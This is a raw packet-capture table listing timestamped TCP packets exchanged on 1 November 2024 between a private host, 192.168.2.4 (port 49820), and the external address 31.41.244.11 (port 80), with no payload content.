Nov 1, 2024 10:57:09.891360044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891375065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891400099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891433001 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891460896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891500950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891510963 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891530991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891550064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891562939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891613007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891627073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891640902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891660929 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891676903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891709089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891735077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891757011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891762018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891791105 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891799927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891827106 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891828060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891846895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891849041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891863108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891869068 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891885996 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891887903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891902924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891906977 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891918898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891927004 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891946077 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891968012 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891995907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892010927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892038107 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.892056942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.892062902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892113924 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.892141104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892155886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892169952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892183065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892185926 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.892199039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892209053 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.892251015 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.892256975 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892288923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892302036 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.892302990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892329931 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.892352104 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.892411947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892457962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.892479897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892505884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892528057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892532110 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.892543077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892554045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.892559052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892569065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.892596006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.892772913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892787933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892802954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892821074 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.892852068 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.892932892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892956018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892972946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.892978907 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.892988920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893006086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893006086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893024921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893028975 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893049002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893057108 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893069983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893081903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893094063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893100977 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893109083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893119097 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893124104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893134117 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893138885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893155098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893156052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893172026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893177986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893203974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893229961 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893230915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893248081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893273115 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893289089 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893343925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893357992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893383980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893404961 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893430948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893445969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893460035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893481970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893503904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893527031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893542051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893556118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893569946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893578053 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893584967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893599987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.893603086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893635035 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.893644094 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.894828081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.894851923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.894869089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.894881010 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.894891977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.894898891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.894908905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.894925117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.894927979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.894937038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.894948959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.894962072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.894973993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.894977093 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.894992113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895000935 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895015955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895020962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895031929 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895031929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895051003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895057917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895066023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895072937 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895081043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895093918 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895097017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895114899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895117044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895136118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895159006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895167112 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895174980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895189047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895200014 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895204067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895220995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895222902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895237923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895245075 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895256996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895272970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895275116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895287991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895298958 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895328999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895338058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895353079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895376921 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895404100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895488024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895503044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895515919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895529985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895536900 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895545006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895551920 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895560980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895579100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895585060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895606995 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895608902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895632982 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895634890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895648956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895651102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895668030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895672083 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895684958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895694017 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895704031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895708084 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895721912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895733118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895737886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895749092 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895750999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895760059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895766973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895770073 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895775080 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895800114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895814896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895827055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895832062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895843029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895848036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895864010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895864964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895876884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895890951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895893097 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895905972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895920038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895926952 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895936012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895947933 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.895952940 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.895970106 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896001101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896198988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896214962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896228075 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896241903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896248102 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896256924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896272898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896281004 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896291018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896301031 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896311045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896326065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896328926 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896349907 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896353006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896370888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896377087 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896388054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896399975 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896404028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896418095 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896419048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896435022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896436930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896454096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896456957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896481037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896485090 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896507978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896512032 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896527052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896533012 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896543026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896552086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896560907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896568060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896583080 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896598101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896599054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896610022 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896614075 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896629095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896634102 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896646976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896668911 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896673918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896689892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896697998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896713972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896717072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896730900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896740913 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896755934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896761894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896769047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896776915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896780968 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896791935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896801949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896812916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896833897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896842003 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896850109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896863937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896866083 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896883011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896888971 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896909952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896909952 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896925926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896936893 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896941900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896956921 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896956921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896972895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.896975994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.896990061 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897010088 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897020102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897028923 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897037983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897056103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897059917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897078991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897079945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897090912 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897094965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897110939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897125959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897134066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897134066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897156000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897161961 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897172928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897181988 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897200108 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897219896 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897223949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897241116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897258043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897269964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897283077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897285938 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897300005 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897301912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897316933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897326946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897330999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897341967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897356987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897361040 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897380114 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897392035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897401094 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897413969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897428989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897433996 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897444963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897459984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897475004 CET	80	49820	31.41.244.11	192.168.2.4
